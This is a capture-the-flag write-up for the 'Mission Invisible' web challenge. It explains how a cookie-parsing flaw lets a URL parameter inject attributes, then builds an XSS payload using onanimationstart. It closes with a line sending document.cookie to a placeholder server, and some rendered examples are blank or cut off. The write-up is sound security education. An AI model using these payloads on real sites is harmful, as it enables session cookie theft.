# Mission Invisible

**Points: 128**

**37 Solves**

**Challenge description**:

You need to obtain the flag through two different invisible places.

Submit payload here:

The page loads some javascript. After defining some function the script calls three functions.

var tag = getUrlParam("tag");
setCookie("tag", tag);

This is simplification on what they do


- gets the value of some URL parameter
- (``) `getUrlParam("tag") -> test`

Note: the parameter is unescaped


- sets the value of a cookie
- `setCookie("tag","test"); document.cookie -> "tag=test"`


- creates an element of the type `tag`, sets its attributes to the value of the cookie `attrs` and appends it to the body
- `setElement("img") -> Uncaught DOMException: Failed to execute 'setAttribute' on 'Element': '' is not a valid attribute name.`

Note: before creating the element the tag is trimmed to length 1, it calls `getCookie("attrs").split("&";;` to get the attributes


- searches `document.cookie` for `name+"="`, returns everything after that until the next `;` if any and unescapes it.
- (`document.cookie = "test=abc"`) `getCookie("test") -> "abc"`

Note: it does not check whether it is the name or a value

- (`document.cookie = "test=abc=def"`) `getCookie("test") -> "abc=def"` but `getCookie("abc") -> "def"`

Knowing this we can make our `tag` cookie look like it contains a `attrs` cookie. The tag has to be a single character like `a,p,...`. This results in a payload like `?tag=pattrs=test=a` to create `

`. By abusing the fact that our cookie gets unescaped before it is returned from `getCookie` and the parameter value is also unescaped we can double encode a `&` to create multiple attributes. `?tag=pattrs=test=a%2526test2=b` creates ``


### Executing javascript
To execute javascript we can abuse DOM Events like `click, error, ...`. Normally someone would just create an `img` with an `onerror or onload` attribute, but we can't do this because we can only create one-char tags. But we can use the `animationstart` event which is triggered as soon as an animation for the tag starts. By using the style attribute we can set an animation like this: `?tag=pattrs=onanimationstart=alert()%2526style=animation-name:"youranimationhere"` The page loads `assets/css/bootstrap.min.css` at the beginning as a stylesheet. By searching for `@keyframes` in that css file the following can be found:
[...]@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}[...]
Therefore we can use `progress-bar-stripes` as the animation.
And by using `?tag=pattrs=onanimationstart=alert()%2526style=animation-name:progress-bar-stripes` as the payload we get our beloved alert box.

To get the flag we can create a request to our web server containing the cookie using javascript.
e.g. ``,`https://yourserverhere/${document.cookie}`)%2526style=animation-name:progress-bar-stripes``